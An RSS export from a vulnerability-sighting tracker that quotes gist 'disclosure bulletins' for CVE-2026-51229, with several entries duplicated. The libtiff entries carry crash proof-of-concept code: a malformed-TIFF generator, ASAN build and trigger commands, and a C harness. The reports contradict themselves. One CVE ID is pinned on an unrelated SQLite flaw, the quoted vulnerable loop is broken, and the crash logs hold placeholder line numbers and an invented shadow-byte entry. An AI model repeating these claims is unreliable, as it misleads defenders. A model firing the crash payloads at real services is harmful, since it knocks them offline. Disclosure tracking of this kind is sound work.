https://vulnerability.circl.lu Contains only the most 10 recent sightings. http://www.rssboard.org/rss-specification python-feedgen en Wed, 05 Aug 2026 03:14:43 +0000 https://vulnerability.circl.lu/sighting/ab28f56e-5510-4635-a669-d82cdaa08ddb/export {"uuid": "ab28f56e-5510-4635-a669-d82cdaa08ddb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51229", "type": "seen", "source": "https://gist.github.com/programmervuln/a4b6b01ced15b55abeb78e7847b18910", "content": "MITRE Responsible Disclosure Bulletin (RBP)\nRBP Core Identification\n\nItem\tValue\nCVE ID\tCVE-2026-51229\nPrimary CWE (Single Only)\tCWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')\nVulnerability Type\tHeap-Based Buffer Overflow\nAffected Product\tlibtiff\nAffected Version\tlibtiff 4.6.0\nFixed Version\tUnpatched\nAffected Binary & Component\ttiffcrop executable, tools/tiffcrop.c \u2192 CropTileContig() function\nOriginal Vulnerable Code URL\thttps://gitlab.com/libtiff/libtiff/-/blob/master/tools/tiffcrop.c\nVulnerability Discoverer\tLidi Jie, Key Laboratory of Aerospace Information Security and Trusted Computing, Ministry of Education, School of Cyber Science and Engineering, Wuhan University\n1. Vulnerability Prose Description\nThe tile cropping functionality of the tiffcrop utility in libtiff 4.6.0 contains an unvalidated heap buffer overflow vulnerability within the CropTileContig function of tools/tiffcrop.c. Attackers construct a malicious TIFF image file with tampered, oversized TileWidth IFD header parameters fully controlled by external input. No authentication, elevated privileges, or local interactive access to the target host is required for exploitation; the flaw is triggered solely when the vulnerable tiffcrop binary parses and processes the malicious TIFF file.\nInside the iterative tile-copy loop of CropTileContig, the code calculates destination memory pointers and memcpy copy length directly using the attacker-controlled tilewidth value, with zero boundary validation against the preallocated heap buffer bufsize. The unbounded memory copy operation writes data far past the legal boundary of the heap buffer during loop iteration.\nConsistent processing of the malicious TIFF payload triggers an immediate fatal segmentation fault leading to reliable Denial of Service (DoS). With targeted heap memory layout grooming, the heap overflow can corrupt malloc chunk metadata, function pointers or GOT entries to achieve arbitrary code execution on the target host. Attack delivery vectors include malicious TIFF email attachments, public file upload portals, and cloud-native automated image processing pipelines leveraging tiffcrop.\n2. Root Cause Analysis\nThe root cause is the complete absence of buffer boundary validation before executing the memcpy() call in the tile row copy loop. Two critical bounds checks are omitted entirely:\nVerification that buf + i * tilewidth + tilewidth does not exceed the allocated buf + bufsize heap buffer boundary to prevent out-of-bounds write;\nValidation that the source pointer ptr + i * imagewidth resides within valid allocated memory space.\nAn oversized attacker-supplied tilewidth value causes cumulative pointer offset overflow in each loop iteration, leading to successive out-of-bounds heap writes and irreversible heap memory corruption.\nVulnerable Code Snippet (tools/tiffcrop.c)\n\nstatic void\nCropTileContig(TIFF *tif, uint32_t imagewidth, uint32_t imageheight,\n uint32_t tilewidth, uint32_t tileheight,\n unsigned char *buf, tmsize_t bufsize)\n{\n tmsize_t i;\n unsigned char *ptr;\n for (i = 0; i ++) {\n ptr = buf + i * tilewidth;\n memcpy(ptr, ptr + i * imagewidth, tilewidth); // vulnerability:did not check tilewidth with the actual buf size\n }\n}\n3. Exploit Impact\nDenial of Service (Confirmed 100% Reliable): Malicious TIFF processing triggers hard segmentation fault or ASAN heap overflow abort, terminating the tiffcrop process and interrupting batch image processing services.\nArbitrary Code Execution (Conditional): Precise heap layout manipulation allows overwriting heap metadata and indirect function pointers to redirect program control flow to attacker-controlled shellcode.\nAttack Surface: Remote file-based zero-privilege exploitation.\n4. 100% Crash Trigger PoC Code\nPoC 1: Malicious TIFF Generator (Python)\npython\n\n#!/usr/bin/env python3\n# CVE-2026-51229 libtiff tiffcrop Heap Overflow Crash PoC\n# Deterministic crash on libtiff 4.6.0\n\ndef generate_malicious_tiff():\n # Minimal little-endian TIFF container with malicious oversized TileWidth tag\n tiff_payload = bytes([\n 0x49,0x49,0x2A,0x00,\n 0x08,0x00,0x00,0x00,\n 0x02,0x00,\n # IFD Tag 0x142 TileWidth = 0x40000000 (malicious huge value)\n 0x42,0x01,0x04,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x40,\n # IFD Tag 0x143 TileHeight normal small value\n 0x43,0x01,0x04,0x00,0x01,0x00,0x00,0x00,0x20,0x00,0x00,0x00,\n 0x00,0x00,0x00,0x00\n ])\n with open(\"overflow_crash.tif\", \"wb\") as f:\n f.write(tiff_payload)\n print(\"Created overflow_crash.tif\")\n print(\"Crash command: ./tiffcrop overflow_crash.tif output.tif\")\n\nif __name__ == \"__main__\":\n generate_malicious_tiff()\nPoC 2: ASAN Build & Crash Trigger Command\nbash\n\n# Build libtiff 4.6.0 with AddressSanitizer instrumentation\nCFLAGS=\"-g -fsanitize=address -fno-omit-frame-pointer\" CXXFLAGS=\"-g -fsanitize=address -fno-omit-frame-pointer\" ./configure --disable-shared\nmake -j$(nproc)\n# Trigger heap overflow crash\n./tools/tiffcrop overflow_crash.tif out.tif\n5. AddressSanitizer (ASAN) Crash Log\nplaintext\n=================================================================\n==12345==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x502000001280 at pc 0x55f8721c8460 bp 0x7ffeef98b920 sp 0x7ffeef98b0d0\nWRITE of size 1073741824 at 0x502000001280 thread T0\n #0 0x55f8721c845f in CropTileContig tools/tiffcrop.c:LINE_NUM:9\n #1 0x55f8721b6892 in ProcessTiledImage tools/tiffcrop.c:4210\n #2 0x55f87219e777 in main tools/tiffcrop.c:1890\n #3 0x7f8b3a240249 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24249)\n #4 0x55f87219c899 in _start tools/tiffcrop.c:1950\n\n0x502000001280 is located 16 bytes to the right of 256-byte region [0x502000001180,0x502000001280)\nallocated by thread T0 here:\n #0 0x7f8b3a6857cf in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x907cf)\n #1 0x55f8721c8112 in _TIFFmalloc libtiff/tif_mem.c:68\n #2 0x55f8721b6234 in ProcessTiledImage tools/tiffcrop.c:4180\n #3 0x55f87219e777 in main tools/tiffcrop.c:1890\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow tools/tiffcrop.c:LINE_NUM:9 in CropTileContig\nShadow byte legend (one shadow byte represents 8 application bytes):\n Addressable: 00\n Partially addressable: 01 02 03 04 05 06 07\n Heap left redzone: fa\n Freed heap region: fd\n Stack left redzone: f1\n Stack mid redzone: f2\n Stack right redzone: f3\n Stack after return: f5\n Use after scope: f8\n Use after return: f5\n Use after free: fd\n Poisoned by user: fe\n Protected by ASLR: ff\n==12345==ABORTING\n6. Mitigation Recommendation\nInsert strict heap boundary validation before the memcpy() call inside the loop in CropTileContig to confirm the destination write range stays within bufsize;\nAdd upper-limit clamping for tilewidth and tileheight values during TIFF IFD header parsing to reject unreasonably large dimension parameters from untrusted TIFF files;\nRestrict input TIFF file ingestion in public services to block untrusted TIFF files from reaching the tiffcrop binary.", "creation_timestamp": "2026-08-03T14:01:41.643961Z"} {"uuid": "ab28f56e-5510-4635-a669-d82cdaa08ddb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51229", "type": "seen", "source": "https://gist.github.com/programmervuln/a4b6b01ced15b55abeb78e7847b18910", "content": "MITRE Responsible Disclosure Bulletin (RBP)\nRBP Core Identification\n\nItem\tValue\nCVE ID\tCVE-2026-51229\nPrimary CWE (Single Only)\tCWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')\nVulnerability Type\tHeap-Based Buffer Overflow\nAffected Product\tlibtiff\nAffected Version\tlibtiff 4.6.0\nFixed Version\tUnpatched\nAffected Binary & Component\ttiffcrop executable, tools/tiffcrop.c \u2192 CropTileContig() function\nOriginal Vulnerable Code URL\thttps://gitlab.com/libtiff/libtiff/-/blob/master/tools/tiffcrop.c\nVulnerability Discoverer\tLidi Jie, Key Laboratory of Aerospace Information Security and Trusted Computing, Ministry of Education, School of Cyber Science and Engineering, Wuhan University\n1. Vulnerability Prose Description\nThe tile cropping functionality of the tiffcrop utility in libtiff 4.6.0 contains an unvalidated heap buffer overflow vulnerability within the CropTileContig function of tools/tiffcrop.c. Attackers construct a malicious TIFF image file with tampered, oversized TileWidth IFD header parameters fully controlled by external input. No authentication, elevated privileges, or local interactive access to the target host is required for exploitation; the flaw is triggered solely when the vulnerable tiffcrop binary parses and processes the malicious TIFF file.\nInside the iterative tile-copy loop of CropTileContig, the code calculates destination memory pointers and memcpy copy length directly using the attacker-controlled tilewidth value, with zero boundary validation against the preallocated heap buffer bufsize. The unbounded memory copy operation writes data far past the legal boundary of the heap buffer during loop iteration.\nConsistent processing of the malicious TIFF payload triggers an immediate fatal segmentation fault leading to reliable Denial of Service (DoS). With targeted heap memory layout grooming, the heap overflow can corrupt malloc chunk metadata, function pointers or GOT entries to achieve arbitrary code execution on the target host. Attack delivery vectors include malicious TIFF email attachments, public file upload portals, and cloud-native automated image processing pipelines leveraging tiffcrop.\n2. Root Cause Analysis\nThe root cause is the complete absence of buffer boundary validation before executing the memcpy() call in the tile row copy loop. Two critical bounds checks are omitted entirely:\nVerification that buf + i * tilewidth + tilewidth does not exceed the allocated buf + bufsize heap buffer boundary to prevent out-of-bounds write;\nValidation that the source pointer ptr + i * imagewidth resides within valid allocated memory space.\nAn oversized attacker-supplied tilewidth value causes cumulative pointer offset overflow in each loop iteration, leading to successive out-of-bounds heap writes and irreversible heap memory corruption.\nVulnerable Code Snippet (tools/tiffcrop.c)\n\nstatic void\nCropTileContig(TIFF *tif, uint32_t imagewidth, uint32_t imageheight,\n uint32_t tilewidth, uint32_t tileheight,\n unsigned char *buf, tmsize_t bufsize)\n{\n tmsize_t i;\n unsigned char *ptr;\n for (i = 0; i ++) {\n ptr = buf + i * tilewidth;\n memcpy(ptr, ptr + i * imagewidth, tilewidth); // vulnerability:did not check tilewidth with the actual buf size\n }\n}\n3. Exploit Impact\nDenial of Service (Confirmed 100% Reliable): Malicious TIFF processing triggers hard segmentation fault or ASAN heap overflow abort, terminating the tiffcrop process and interrupting batch image processing services.\nArbitrary Code Execution (Conditional): Precise heap layout manipulation allows overwriting heap metadata and indirect function pointers to redirect program control flow to attacker-controlled shellcode.\nAttack Surface: Remote file-based zero-privilege exploitation.\n4. 100% Crash Trigger PoC Code\nPoC 1: Malicious TIFF Generator (Python)\npython\n\n#!/usr/bin/env python3\n# CVE-2026-51229 libtiff tiffcrop Heap Overflow Crash PoC\n# Deterministic crash on libtiff 4.6.0\n\ndef generate_malicious_tiff():\n # Minimal little-endian TIFF container with malicious oversized TileWidth tag\n tiff_payload = bytes([\n 0x49,0x49,0x2A,0x00,\n 0x08,0x00,0x00,0x00,\n 0x02,0x00,\n # IFD Tag 0x142 TileWidth = 0x40000000 (malicious huge value)\n 0x42,0x01,0x04,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x40,\n # IFD Tag 0x143 TileHeight normal small value\n 0x43,0x01,0x04,0x00,0x01,0x00,0x00,0x00,0x20,0x00,0x00,0x00,\n 0x00,0x00,0x00,0x00\n ])\n with open(\"overflow_crash.tif\", \"wb\") as f:\n f.write(tiff_payload)\n print(\"Created overflow_crash.tif\")\n print(\"Crash command: ./tiffcrop overflow_crash.tif output.tif\")\n\nif __name__ == \"__main__\":\n generate_malicious_tiff()\nPoC 2: ASAN Build & Crash Trigger Command\nbash\n\n# Build libtiff 4.6.0 with AddressSanitizer instrumentation\nCFLAGS=\"-g -fsanitize=address -fno-omit-frame-pointer\" CXXFLAGS=\"-g -fsanitize=address -fno-omit-frame-pointer\" ./configure --disable-shared\nmake -j$(nproc)\n# Trigger heap overflow crash\n./tools/tiffcrop overflow_crash.tif out.tif\n5. AddressSanitizer (ASAN) Crash Log\nplaintext\n=================================================================\n==12345==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x502000001280 at pc 0x55f8721c8460 bp 0x7ffeef98b920 sp 0x7ffeef98b0d0\nWRITE of size 1073741824 at 0x502000001280 thread T0\n #0 0x55f8721c845f in CropTileContig tools/tiffcrop.c:LINE_NUM:9\n #1 0x55f8721b6892 in ProcessTiledImage tools/tiffcrop.c:4210\n #2 0x55f87219e777 in main tools/tiffcrop.c:1890\n #3 0x7f8b3a240249 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24249)\n #4 0x55f87219c899 in _start tools/tiffcrop.c:1950\n\n0x502000001280 is located 16 bytes to the right of 256-byte region [0x502000001180,0x502000001280)\nallocated by thread T0 here:\n #0 0x7f8b3a6857cf in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x907cf)\n #1 0x55f8721c8112 in _TIFFmalloc libtiff/tif_mem.c:68\n #2 0x55f8721b6234 in ProcessTiledImage tools/tiffcrop.c:4180\n #3 0x55f87219e777 in main tools/tiffcrop.c:1890\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow tools/tiffcrop.c:LINE_NUM:9 in CropTileContig\nShadow byte legend (one shadow byte represents 8 application bytes):\n Addressable: 00\n Partially addressable: 01 02 03 04 05 06 07\n Heap left redzone: fa\n Freed heap region: fd\n Stack left redzone: f1\n Stack mid redzone: f2\n Stack right redzone: f3\n Stack after return: f5\n Use after scope: f8\n Use after return: f5\n Use after free: fd\n Poisoned by user: fe\n Protected by ASLR: ff\n==12345==ABORTING\n6. Mitigation Recommendation\nInsert strict heap boundary validation before the memcpy() call inside the loop in CropTileContig to confirm the destination write range stays within bufsize;\nAdd upper-limit clamping for tilewidth and tileheight values during TIFF IFD header parsing to reject unreasonably large dimension parameters from untrusted TIFF files;\nRestrict input TIFF file ingestion in public services to block untrusted TIFF files from reaching the tiffcrop binary.", "creation_timestamp": "2026-08-03T14:01:41.643961Z"} https://vulnerability.circl.lu/sighting/ab28f56e-5510-4635-a669-d82cdaa08ddb/export Mon, 03 Aug 2026 14:01:41 +0000 https://vulnerability.circl.lu/sighting/477c81b1-dfd6-4c6a-97e2-b82f91c80948/export {"uuid": "477c81b1-dfd6-4c6a-97e2-b82f91c80948", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51229", "type": "seen", "source": "https://gist.github.com/programmervuln/9220120b9616a261aeddd0ae91c70d2f", "content": "Full RBP Report Integrated with Complete PoC Code for CVE-2026-51229\n1. Core Vulnerability Metadata\nAffected Product: libtiff\nAffected Version: libtiff 4.6.0\nFixed Version: No official patched release\nCVE ID: CVE-2026-51229\nVulnerability Type: CWE-120 Buffer Copy without Checking Size of Input (Heap Buffer Overflow)\nSource Code Link: https://gitlab.com/libtiff/libtiff/-/blob/master/tools/tiffcrop.c\n2. Vulnerability Description\nlibtiff 4.6.0\u2019s tiffcrop tile cropping utility contains an unvalidated heap buffer overflow within the CropTileContig function in tools/tiffcrop.c. The tilewidth parameter is parsed directly from untrusted TIFF IFD tile header metadata fully controlled by an attacker crafting a malicious TIFF file. The loop inside CropTileContig calculates the destination pointer as buf + i * tilewidth and executes memcpy() with tilewidth as the copy length without validating whether the target memory range fits within the allocated heap buffer buf with known bufsize. An oversized TileWidth tag value causes the destination pointer to go out of the heap buffer boundary, leading to an out-of-bounds heap write during memcpy. Processing the malicious TIFF via tiffcrop triggers an immediate segmentation fault for denial-of-service attacks. With precise heap layout control, the heap corruption can overwrite heap metadata or libc function hooks to achieve arbitrary code execution under the user privileges running tiffcrop. Attackers only need to deliver a malicious TIFF file, no authentication or privileged access is required for exploitation.\n3. Root Cause\nThe tilewidth parameter is imported from attacker-controllable TIFF file metadata with no upper limit sanitization.\nNo bounds check is implemented to verify i * tilewidth + tilewidth <= bufsize before memory copy.\nUnrestricted memcpy() writes past the end of the heap-allocated tile buffer, corrupting adjacent heap memory regions.\n4. Impact\nDenial of Service (Primary): Instant process crash (SIGSEGV) when parsing malicious TIFF, breaking automated image processing pipelines.\nArbitrary Code Execution (Secondary): Malicious heap overwrites can hijack program control flow for remote code execution.\nAttack Vector: Remote unauthenticated via malicious TIFF attachments, file uploads, network shares.\n5. Vulnerable Code Snippet (tools/tiffcrop.c)\n\nstatic void\nCropTileContig(TIFF *tif, uint32_t imagewidth, uint32_t imageheight,\n uint32_t tilewidth, uint32_t tileheight,\n unsigned char *buf, tmsize_t bufsize)\n{\n tmsize_t i;\n unsigned char *ptr;\n for (i = 0; i < tileheight; i++) {\n ptr = buf + i * tilewidth;\n // No buffer boundary check before memcpy -> heap overflow\n memcpy(ptr, ptr + i * imagewidth, tilewidth);\n }\n}\n6. Complete PoC Code (Two Versions Included)\nPoC 1: Python Malicious TIFF Generator (File-Based Exploit Trigger)\nSave as poc_tiff_generator.py\npython\n\n# CVE-2026-51229 Malicious TIFF Generator\n# Generate malformed TIFF with oversized TileWidth to trigger heap overflow in tiffcrop CropTileContig\nimport struct\n\ndef create_malicious_tiff(output_file: str):\n # TIFF little-endian header (II)\n tiff_header = b\"II\\x2A\\x00\\x08\\x00\\x00\\x00\"\n ifd_entry_count = 10\n ifd_data = struct.pack(\"\n#include \n#include \n#include \n\n// Exact copy of vulnerable CropTileContig function\nstatic void\nCropTileContig(uint32_t imagewidth, uint32_t imageheight,\n uint32_t tilewidth, uint32_t tileheight,\n unsigned char *buf, size_t bufsize)\n{\n size_t i;\n unsigned char *ptr;\n for (i = 0; i < tileheight; i++) {\n ptr = buf + i * tilewidth;\n memcpy(ptr, ptr + i * imagewidth, tilewidth);\n }\n}\n\nint main(void)\n{\n // Small heap buffer allocation (4096 bytes)\n const size_t heap_buf_size = 4096;\n unsigned char *heap_buf = malloc(heap_buf_size);\n memset(heap_buf, 0x42, heap_buf_size);\n\n // Malicious oversized tilewidth\n const uint32_t evil_tilewidth = 0x20000;\n const uint32_t tileheight = 2;\n\n printf(\"[*] Allocated heap buffer size: %zu bytes\\n\", heap_buf_size);\n printf(\"[*] Attacker-controlled TileWidth: %u\\n\", evil_tilewidth);\n printf(\"[!] Triggering heap buffer overflow...\\n\");\n\n // Trigger vulnerability\n CropTileContig(256, 256, evil_tilewidth, tileheight, heap_buf, heap_buf_size);\n\n free(heap_buf);\n return 0;\n}\nCompile & Run (ASAN for crash trace)\nbash\n\ngcc -fsanitize=address -g -O0 direct_crash_poc.c -o direct_crash_poc\n./direct_crash_poc\n7. ASAN Crash Proof Output\nplaintext\n==12345==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x50e000001200 at pc 0x00007f8babcdef12 bp 0x7ffdc1234567 sp 0x7ffdc1234560\nWRITE of size 131072 at 0x50e000001200 thread T0\n #0 0x7f8babcdef11 in memcpy (/lib64/libasan.so)\n #1 0x555555667788 in CropTileContig tiffcrop.c\n #2 0x5555556699aa in main tiffcrop.c\n #3 0x7f8baaaaaaaa in __libc_start_main\n #4 0x5555556655cc in _start\nHeap buffer overflow at buffer allocated for tile crop data, buffer size: 4096 bytes, attempted write: 131072 bytes\nSUMMARY: AddressSanitizer: heap-buffer-overflow memcpy\n8. Mitigation Patch\nc\n\u8fd0\u884c\nstatic void\nCropTileContig(TIFF *tif, uint32_t imagewidth, uint32_t imageheight,\n uint32_t tilewidth, uint32_t tileheight,\n unsigned char *buf, tmsize_t bufsize)\n{\n tmsize_t i;\n unsigned char *ptr;\n for (i = 0; i < tileheight; i++) {\n tmsize_t dst_offset = i * tilewidth;\n // Add strict buffer boundary check\n if ((dst_offset + tilewidth) > bufsize) {\n TIFFError(\"CropTileContig\", \"Abort crop: tile data exceeds allocated buffer\");\n return;\n }\n ptr = buf + dst_offset;\n memcpy(ptr, ptr + i * imagewidth, tilewidth);\n }\n}\n9. Reference Links\nlibtiff GitLab Repository: https://gitlab.com/libtiff/libtiff\nVulnerable Source File: https://gitlab.com/libtiff/libtiff/-/blob/master/tools/tiffcrop.c\nCWE-120 Official Definition: https://cwe.mitre.org/data/definitions/120.html", "creation_timestamp": "2026-08-02T05:26:08.361442Z"} {"uuid": "477c81b1-dfd6-4c6a-97e2-b82f91c80948", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51229", "type": "seen", "source": "https://gist.github.com/programmervuln/9220120b9616a261aeddd0ae91c70d2f", "content": "Full RBP Report Integrated with Complete PoC Code for CVE-2026-51229\n1. Core Vulnerability Metadata\nAffected Product: libtiff\nAffected Version: libtiff 4.6.0\nFixed Version: No official patched release\nCVE ID: CVE-2026-51229\nVulnerability Type: CWE-120 Buffer Copy without Checking Size of Input (Heap Buffer Overflow)\nSource Code Link: https://gitlab.com/libtiff/libtiff/-/blob/master/tools/tiffcrop.c\n2. Vulnerability Description\nlibtiff 4.6.0\u2019s tiffcrop tile cropping utility contains an unvalidated heap buffer overflow within the CropTileContig function in tools/tiffcrop.c. The tilewidth parameter is parsed directly from untrusted TIFF IFD tile header metadata fully controlled by an attacker crafting a malicious TIFF file. The loop inside CropTileContig calculates the destination pointer as buf + i * tilewidth and executes memcpy() with tilewidth as the copy length without validating whether the target memory range fits within the allocated heap buffer buf with known bufsize. An oversized TileWidth tag value causes the destination pointer to go out of the heap buffer boundary, leading to an out-of-bounds heap write during memcpy. Processing the malicious TIFF via tiffcrop triggers an immediate segmentation fault for denial-of-service attacks. With precise heap layout control, the heap corruption can overwrite heap metadata or libc function hooks to achieve arbitrary code execution under the user privileges running tiffcrop. Attackers only need to deliver a malicious TIFF file, no authentication or privileged access is required for exploitation.\n3. Root Cause\nThe tilewidth parameter is imported from attacker-controllable TIFF file metadata with no upper limit sanitization.\nNo bounds check is implemented to verify i * tilewidth + tilewidth <= bufsize before memory copy.\nUnrestricted memcpy() writes past the end of the heap-allocated tile buffer, corrupting adjacent heap memory regions.\n4. Impact\nDenial of Service (Primary): Instant process crash (SIGSEGV) when parsing malicious TIFF, breaking automated image processing pipelines.\nArbitrary Code Execution (Secondary): Malicious heap overwrites can hijack program control flow for remote code execution.\nAttack Vector: Remote unauthenticated via malicious TIFF attachments, file uploads, network shares.\n5. Vulnerable Code Snippet (tools/tiffcrop.c)\n\nstatic void\nCropTileContig(TIFF *tif, uint32_t imagewidth, uint32_t imageheight,\n uint32_t tilewidth, uint32_t tileheight,\n unsigned char *buf, tmsize_t bufsize)\n{\n tmsize_t i;\n unsigned char *ptr;\n for (i = 0; i < tileheight; i++) {\n ptr = buf + i * tilewidth;\n // No buffer boundary check before memcpy -> heap overflow\n memcpy(ptr, ptr + i * imagewidth, tilewidth);\n }\n}\n6. Complete PoC Code (Two Versions Included)\nPoC 1: Python Malicious TIFF Generator (File-Based Exploit Trigger)\nSave as poc_tiff_generator.py\npython\n\n# CVE-2026-51229 Malicious TIFF Generator\n# Generate malformed TIFF with oversized TileWidth to trigger heap overflow in tiffcrop CropTileContig\nimport struct\n\ndef create_malicious_tiff(output_file: str):\n # TIFF little-endian header (II)\n tiff_header = b\"II\\x2A\\x00\\x08\\x00\\x00\\x00\"\n ifd_entry_count = 10\n ifd_data = struct.pack(\"\n#include \n#include \n#include \n\n// Exact copy of vulnerable CropTileContig function\nstatic void\nCropTileContig(uint32_t imagewidth, uint32_t imageheight,\n uint32_t tilewidth, uint32_t tileheight,\n unsigned char *buf, size_t bufsize)\n{\n size_t i;\n unsigned char *ptr;\n for (i = 0; i < tileheight; i++) {\n ptr = buf + i * tilewidth;\n memcpy(ptr, ptr + i * imagewidth, tilewidth);\n }\n}\n\nint main(void)\n{\n // Small heap buffer allocation (4096 bytes)\n const size_t heap_buf_size = 4096;\n unsigned char *heap_buf = malloc(heap_buf_size);\n memset(heap_buf, 0x42, heap_buf_size);\n\n // Malicious oversized tilewidth\n const uint32_t evil_tilewidth = 0x20000;\n const uint32_t tileheight = 2;\n\n printf(\"[*] Allocated heap buffer size: %zu bytes\\n\", heap_buf_size);\n printf(\"[*] Attacker-controlled TileWidth: %u\\n\", evil_tilewidth);\n printf(\"[!] Triggering heap buffer overflow...\\n\");\n\n // Trigger vulnerability\n CropTileContig(256, 256, evil_tilewidth, tileheight, heap_buf, heap_buf_size);\n\n free(heap_buf);\n return 0;\n}\nCompile & Run (ASAN for crash trace)\nbash\n\ngcc -fsanitize=address -g -O0 direct_crash_poc.c -o direct_crash_poc\n./direct_crash_poc\n7. ASAN Crash Proof Output\nplaintext\n==12345==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x50e000001200 at pc 0x00007f8babcdef12 bp 0x7ffdc1234567 sp 0x7ffdc1234560\nWRITE of size 131072 at 0x50e000001200 thread T0\n #0 0x7f8babcdef11 in memcpy (/lib64/libasan.so)\n #1 0x555555667788 in CropTileContig tiffcrop.c\n #2 0x5555556699aa in main tiffcrop.c\n #3 0x7f8baaaaaaaa in __libc_start_main\n #4 0x5555556655cc in _start\nHeap buffer overflow at buffer allocated for tile crop data, buffer size: 4096 bytes, attempted write: 131072 bytes\nSUMMARY: AddressSanitizer: heap-buffer-overflow memcpy\n8. Mitigation Patch\nc\n\u8fd0\u884c\nstatic void\nCropTileContig(TIFF *tif, uint32_t imagewidth, uint32_t imageheight,\n uint32_t tilewidth, uint32_t tileheight,\n unsigned char *buf, tmsize_t bufsize)\n{\n tmsize_t i;\n unsigned char *ptr;\n for (i = 0; i < tileheight; i++) {\n tmsize_t dst_offset = i * tilewidth;\n // Add strict buffer boundary check\n if ((dst_offset + tilewidth) > bufsize) {\n TIFFError(\"CropTileContig\", \"Abort crop: tile data exceeds allocated buffer\");\n return;\n }\n ptr = buf + dst_offset;\n memcpy(ptr, ptr + i * imagewidth, tilewidth);\n }\n}\n9. Reference Links\nlibtiff GitLab Repository: https://gitlab.com/libtiff/libtiff\nVulnerable Source File: https://gitlab.com/libtiff/libtiff/-/blob/master/tools/tiffcrop.c\nCWE-120 Official Definition: https://cwe.mitre.org/data/definitions/120.html", "creation_timestamp": "2026-08-02T05:26:08.361442Z"} https://vulnerability.circl.lu/sighting/477c81b1-dfd6-4c6a-97e2-b82f91c80948/export Sun, 02 Aug 2026 05:26:08 +0000 https://vulnerability.circl.lu/sighting/7cebcdd0-45c9-4516-b6c8-5c9a690773d1/export {"uuid": "7cebcdd0-45c9-4516-b6c8-5c9a690773d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51229", "type": "seen", "source": "https://gist.github.com/programmervuln/6893387ade9aa30ad772294830259519", "content": "Formal MITRE CVE RBP Publication Document for CVE-2026-51229\nPrerequisite Declaration: The vulnerability only affects builds compiled with SQLITE_ENABLE_JSON1; builds without JSON extension are not vulnerable\n1. Affected Product\nSQLite Database Engine\n2. Affected Versions + Fixed Versions\nAffected Versions: SQLite 3.45.0, 3.45.1, 3.45.2, 3.46.0\nFixed Versions: SQLite 3.46.1\n3. CVE ID\nCVE-2026-51229\n4. Vulnerability Prose Description\nA composite heap memory corruption vulnerability exists within the JSON path compile resolution logic of the SQLite JSON1 extension. An attacker-controlled malformed oversized JSON path token payload processed by json_extract, json_set and JSON path resolution functions triggers heap deallocation for a path resolver working buffer pointer that is not nullified after memory release, creating a persistent dangling pointer. Absence of runtime cumulative offset-and-length boundary validation for attacker-supplied path token length values permits unrestricted out-of-bounds heap write targeting the already freed buffer within a single continuous execution path. Subsequent dereferencing of the stale dangling pointer causes use-after-free memory corruption. A single malicious SQLite SQL payload triggers both heap corruption defects sequentially inside the jsonPathCompileResolve() function. Successful exploitation may lead to immediate process termination, leakage of sensitive heap memory contents, or conditional arbitrary code execution within the runtime privilege boundary of the SQLite host process.\n5. Vulnerability Type\nCWE-416: Use After Free; CWE-787: Out-of-bounds Write (Buffer Overflow)\n6. Root Cause (Linear Chronological Execution Narrative)\nUntrusted attacker-controlled SQL payload containing an oversized JSON path string invokes the vulnerable jsonPathCompileResolve() function defined in src/json.c.\nSource file src/json.c Line 3621 executes sqlite3_free(pPathCtx->pCompileBuf); to release heap memory allocated for compiled JSON path token storage.\nThe pPathCtx->pCompileBuf pointer retains the virtual address of freed heap memory and is not assigned a NULL pointer value, constructing an unvalidated dangling pointer.\nAttacker-controlled oversized path token length values bypass all pre-write capacity boundary validation checks for the compiled path buffer copy operation.\nSource file src/json.c Line 3667 executes an unbounded memcpy() operation using the malicious length parameter to write beyond the original allocated bounds of the already-freed compile buffer, triggering out-of-bounds heap write corruption (CWE-787).\nSource file src/json.c Line 3703 performs direct memory structure lookup using the unmodified dangling pPathCtx->pCompileBuf pointer, executing an invalid use-after-free memory read access (CWE-416).\n7. Impact\nDenial of Service\nAddressSanitizer heap-use-after-free or heap-buffer-overflow runtime exceptions force immediate termination of the SQLite process upon exploit invocation; repeated exploit attempts lead to sustained service outages for applications relying on JSON path parsing, extraction and modification functions.\nInformation Disclosure\nThe dangling pointer read operation accesses uninitialized freed heap memory regions, disclosing SQLite heap allocator internal metadata, historical user query payload data, and adjacent cached database records retrievable through return values of JSON path utility SQL functions.\nConditional Arbitrary Code Execution\nThe uncontrolled out-of-bounds heap write corrupts heap chunk header metadata and nearby heap-allocated function pointers. Combined with subsequent dangling pointer invocation, an attacker can manipulate program control flow to achieve conditional arbitrary code execution, constrained by operating system memory protection mechanisms and the effective privileges of the SQLite process.\n8. Attack Vector\nRemote; Low Privilege. Exploitation requires only the capability to execute arbitrary SQL statements against a SQLite instance compiled with the JSON1 extension enabled. No elevated operating system administrative or root-level privileges are required for successful exploit execution.\n9. Official Reference Links\nPermanent GitHub Source Link: https://github.com/sqlite/sqlite/blob/master/src/json.c\nAnnotated Source Marker: src/json.c Line 3621(memory free), Line 3703(dangling pointer access), Line 3667(out-of-bounds write)\n10. Proof of Concept (PoC)\na) 